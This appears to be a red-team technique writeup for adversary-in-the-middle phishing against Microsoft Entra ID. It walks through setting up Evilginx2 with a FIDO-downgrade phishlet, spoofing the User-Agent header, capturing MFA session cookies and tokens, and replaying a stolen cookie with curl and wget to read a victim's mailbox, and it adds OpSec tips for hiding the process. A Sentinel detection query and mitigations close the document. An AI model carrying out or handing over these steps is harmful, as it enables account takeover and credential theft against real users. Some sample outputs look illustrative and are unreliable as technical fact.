| Attribute | Details |
|---|---|
| Technique ID | REALWORLD-011 |
| MITRE ATT&CK v18.1 | T1557 - Adversary-in-the-Middle |
| Tactic | Credential Access |
| Platforms | Entra ID / M365 / Network |
| Severity | Critical |
| Technique Status | ACTIVE |
| Last Verified | 2025-08-15 |
| Affected Versions | All Entra ID versions with fallback MFA |
| Patched In | N/A - Protocol-level behavior, not a bug |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Adversary-in-the-Middle (AiTM) positioning is a network-layer attack where the attacker intercepts all HTTP/HTTPS traffic between a user’s browser and a legitimate service (Microsoft Entra ID). By running Evilginx2 (or similar AiTM proxy) on infrastructure under their control, the attacker becomes the “man in the middle” who sees all authentication credentials, MFA codes, and session tokens. When the attacker’s AiTM proxy forwards a request to Entra ID with a spoofed User-Agent header (Safari on Windows), Entra ID recognizes this browser/OS combination as unsupported for FIDO and returns an error message. The key insight is that this error is intentional and expected behavior from Microsoft’s perspective (it’s telling the user “we don’t support FIDO on Safari on Windows, use another method”). However, the attacker leverages this expected error as a feature: the user is forced to authenticate with a weaker method, which the AiTM proxy can intercept. The user never realizes they were compromised because the entire flow appears legitimate from their perspective.
Attack Surface: HTTPS proxy interception, HTTP User-Agent header evaluation, fallback MFA mechanism, session cookie handling.
Business Impact: Complete account compromise without triggering any MFA bypass alarms. Unlike “traditional” MFA bypass attacks that exploit logic flaws, this attack uses the identity provider’s own design against it. The user undergoes legitimate MFA verification (they enter a code or approve a notification), but because the attacker sits in the middle, they intercept this verification. The session cookie obtained is then replayed by the attacker without requiring MFA again.
Technical Context: AiTM attack takes 2-10 seconds (minimal latency overhead from proxy). Detection likelihood is Low unless monitoring for user-agent changes, unusual browser/OS combinations, or multiple successful logins from same SessionId within minutes. The attack is scalable: one attacker can target hundreds of users simultaneously if the phishing link is distributed widely.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 6.5, 7.1 | Multi-factor authentication controls, network segmentation failures |
| DISA STIG | IA-2(1), SI-4 | Multi-factor authentication strength, monitoring for AiTM attacks |
| CISA SCuBA | AUTH.2, THREAT.1 | Session management, threat detection |
| NIST 800-53 | SC-7, IA-4, IA-7 | Session boundary protection; session management |
| GDPR | Art. 32 | Encryption and session protection measures |
| NIS2 | Art. 21 | Protective measures for authentication infrastructure |
| ISO 27001 | A.13.1.3 | Session management and replay attack prevention |
Required Privileges: None - attacker operates at network layer (transparent proxy).
Required Access:
Supported Versions:
Tools:
http.server + ssl - Minimal AiTM implementation# Check if target user has FIDO registered and fallback methods available
Connect-MgGraph -Scopes "UserAuthenticationMethod.Read.All"
$userId = "victim@company.onmicrosoft.com"
$authMethods = Get-MgUserAuthenticationMethod -UserId $userId
# Check for FIDO2
$fido = $authMethods | Where-Object { $_.AdditionalProperties["@odata.type"] -match "fido" }
Write-Host "FIDO2 Registered: $(if ($fido) { 'YES - Target is ideal candidate' } else { 'NO - Not vulnerable to this chain' })"
# Check for fallback methods
$fallback = $authMethods | Where-Object { $_.AdditionalProperties["@odata.type"] -match "microsoftAuthenticator|phoneAuthenticationMethod" }
Write-Host "Fallback MFA Available: $(if ($fallback) { 'YES - AiTM can intercept' } else { 'NO - Cannot downgrade' })"
# Check if browser enforces public key pinning (prevents HTTPS interception)
# Most organizations don't implement pinning; this should return no restrictions
curl -v --resolve attacker-domain.com:443:127.0.0.1 https://attacker-domain.com 2>&1 | grep -i "pin\|public key"
# If no output: Certificate pinning is NOT enforced (good news for attacker)
# If "public key pins" appears: Pinning is enforced (complicates attack)
Supported Versions: Evilginx2 v3.0+
Objective: Position Evilginx2 between victim’s browser and Microsoft Entra ID to intercept HTTPS traffic.
Architecture:
Victim's Browser
↓ (HTTPS to attacker-domain.com)
Evilginx2 AiTM Proxy (Decrypts HTTPS)
↓ (Forwards to Microsoft Entra ID with modified headers)
Microsoft Entra ID
↓ (Response with error: "FIDO not supported")
Evilginx2 AiTM Proxy (Captures response, modifies if needed)
↓ (Sends error to victim's browser)
Victim's Browser (Shows: "Use different method")
Command:
# Install Evilginx2
git clone https://github.com/kgretzky/evilginx2.git
cd evilginx2 && make
# Load certificate (must match attacker-domain.com)
sudo certbot certonly --standalone -d attacker-domain.com
# Start Evilginx2
sudo ./evilginx2 -p phishlets/
# Inside Evilginx2 console:
evilginx> phishlet load o365_fido_downgrade
evilginx> phishlet enable o365_fido_downgrade
evilginx> listen 0.0.0.0 443
evilginx> listen 0.0.0.0 80
Expected Output:
[+] Phishlet o365_fido_downgrade loaded
[+] Listening on 0.0.0.0:80 (HTTP redirect)
[+] Listening on 0.0.0.0:443 (HTTPS)
[+] Certificate loaded: /etc/letsencrypt/live/attacker-domain.com/fullchain.pem
What This Means:
attacker-domain.com is decrypted by Evilginx2 (victim sees valid certificate).OpSec & Evasion:
nohup ./evilginx2 -p phishlets/ > /dev/null 2>&1 & to background process.Objective: When victim attempts to log in, Evilginx2 intercepts the request and spoofs User-Agent to disable FIDO.
What Evilginx2 Does (Automatically via Phishlet):
Victim’s Browser Sends:
GET /common/oauth2/v2.0/authorize?client_id=...&scope=openid%20profile%20email&response_type=code HTTP/2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Host: login.microsoftonline.com
Evilginx2 Modifies and Forwards:
GET /common/oauth2/v2.0/authorize?client_id=...&scope=openid%20profile%20email&response_type=code HTTP/2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.1 Safari/605.1.15
Host: login.microsoftonline.com
X-Forwarded-For: [victim_ip] # Preserves apparent source IP
Microsoft Entra ID Evaluates:
What This Means:
OpSec & Evasion:
Objective: Intercept the weaker MFA method (SMS code, Authenticator approval, etc.) and capture the session cookie.
Scenario: User Selects Microsoft Authenticator App
User’s Authenticator App receives push notification:
"Someone is signing in with your account"
Approve / Deny
[IP Address] [Browser] [Time]
User Approves
User’s Browser Receives Callback:
HTTP/2 200 OK
Set-Cookie: session_id=ABC123DEF456GHI789; Domain=.microsoft.com; Path=/; Secure; HttpOnly; SameSite=None
Content-Type: application/json
{
"access_token": "eyJ0eXAiOiJKV1QiLCJhbGc...",
"token_type": "Bearer",
"expires_in": 3600,
"refresh_token": "0.ARY..."
}
Evilginx2 Intercepts:
[+] SESSION CAPTURED
User: victim@company.onmicrosoft.com
Session ID: ABC123DEF456GHI789
Access Token: eyJ0eXAiOiJKV1QiLCJhbGc...
Refresh Token: 0.ARY...
MFA Method Used: microsoftAuthenticator
Timestamp: 2025-08-15 14:23:45 UTC
What This Means:
OpSec & Evasion:
Objective: Use the captured session cookie to gain access to victim’s account from attacker’s infrastructure.
Command (Attacker’s Linux/Mac):
# Extract session cookie from Evilginx2
STOLEN_COOKIE="ABC123DEF456GHI789"
VICTIM_DOMAIN="https://outlook.office365.com"
# Method 1: Using curl with Cookie Header
curl -b "session_id=$STOLEN_COOKIE" "$VICTIM_DOMAIN/mail" \
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" \
-L
# Method 2: Using wget
wget --header="Cookie: session_id=$STOLEN_COOKIE" \
--header="User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" \
"$VICTIM_DOMAIN/mail" \
-O victim_mailbox.html
Expected Output:
<!-- Attacker receives victim's OWA (Outlook Web Access) page -->
<div class="folderPane">
<span>Inbox (23 unread)</span>
<span>Drafts</span>
<span>Sent Items</span>
<!-- Full access to victim's mailbox -->
</div>
What This Means:
OpSec & Evasion:
Objective: Understanding HTTPS interception at packet level using open-source tools.
Command:
# Install mitmproxy
sudo apt install -y mitmproxy
# Start mitmproxy (transparent mode requires root and iptables configuration)
sudo mitmproxy -p 8080 --mode reverse:https://login.microsoftonline.com -S
# In another terminal, configure victim's device to use mitmproxy as proxy
# Victim's Browser Settings → Network Settings → Manual Proxy Configuration
# HTTP Proxy: attacker-ip, Port: 8080
# HTTPS Proxy: attacker-ip, Port: 8080
Expected Output:
mitmproxy 9.0.0 listening at http://127.0.0.1:8080
[+] Intercepting HTTPS traffic from login.microsoftonline.com
CONNECT login.microsoftonline.com:443 HTTP/1.1
[Decrypted TLS Session]
What This Means:
Version: 3.3.1+
Configuration: Phishlet-based (JSON)
Session Storage: ~/.evilginx2/sessions.json
Console Commands:
sessions # List all captured sessions
session info [ID] # Show details of specific session
phishlet load [name] # Load phishlet
phishlet enable [name] # Enable phishlet
phishlet disable [name] # Disable phishlet
listen [IP] [PORT] # Start listening
Extract Session ID from Evilginx2:
# Parse sessions.json
cat ~/.evilginx2/sessions.json | jq '.[] | select(.user=="victim@company.onmicrosoft.com") | .session_id'
# Output
ABC123DEF456GHI789
Test Session Cookie:
# Verify cookie is valid by accessing a protected resource
curl -v -b "session_id=ABC123DEF456GHI789" https://outlook.office365.com/mail -H "User-Agent: Mozilla/5.0..."
Rule Configuration:
KQL Query:
SigninLogs
| where resultType == 0 // Successful logins only
| where isnotempty(sessionId)
| summarize
Logins = count(),
DistinctIPs = dcount(ipAddress),
DistinctGeos = dcount(location.countryOrRegion),
UserAgents = make_set(userAgent),
FirstLogin = min(createdDateTime),
LastLogin = max(createdDateTime),
TimeDiffMinutes = datetime_diff('minute', max(createdDateTime), min(createdDateTime))
by sessionId, userId, userPrincipalName
| where Logins >= 2 // Same session ID used multiple times
| where TimeDiffMinutes < 10 // Within 10 minutes
| where DistinctIPs > 1 // From different IPs
| project
sessionId,
userId,
userPrincipalName,
Logins,
DistinctIPs,
DistinctGeos,
UserAgents,
TimeSpan = TimeDiffMinutes,
Alert = "CRITICAL: SessionId reused from different IP in same session"
What This Detects:
Manual Configuration (Azure Portal):
1. Disable Fallback MFA for Privileged Accounts
Remove SMS, Phone Call, and Authenticator App as fallback options for admins. Enforce FIDO2-only.
Manual Steps (Azure Portal):
IF admin user THEN require FIDO2 ELSE block2. Enforce Device Compliance for All Authentication
Require managed/compliant devices to prevent AiTM from attacker’s personal device.
Manual Steps:
Block AiTM from Unmanaged DevicesHybrid Azure AD joined device OR Compliant device3. Monitor and Alert on Session Cookie Reuse from Different IPs
Use the Sentinel query above to detect replay attempts within seconds of initial login.
4. Implement Token Protection (Preview Feature)
When enabled in Conditional Access, prevents session cookies from being replayed outside the originating browser/device.
Manual Steps:
5. Use Certificate-Based Authentication (CBA) as Alternative to FIDO
CBA uses client certificates instead of FIDO keys; equally phishing-resistant but different threat model.
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | Phishing email with AiTM link | Victim clicks link to attacker-controlled domain |
| 2 | Network Interception | [REALWORLD-011] AiTM Proxy | Evilginx2 positions itself between victim and Entra ID |
| 3 | Platform Spoofing | [REALWORLD-010] Safari/Windows | User-Agent modified to disable FIDO |
| 4 | Error Triggering | Entra ID error response | “FIDO not supported” error shown |
| 5 | Fallback Authentication | [REALWORLD-009] + [REALWORLD-012] | User authenticates with SMS/Authenticator instead |
| 6 | Cookie Capture | [REALWORLD-011] | AiTM intercepts session cookie |
| 7 | Session Replay | [REALWORLD-011] | Attacker imports cookie into browser |
| 8 | Account Takeover | T1098, T1567 | Full access to victim’s account |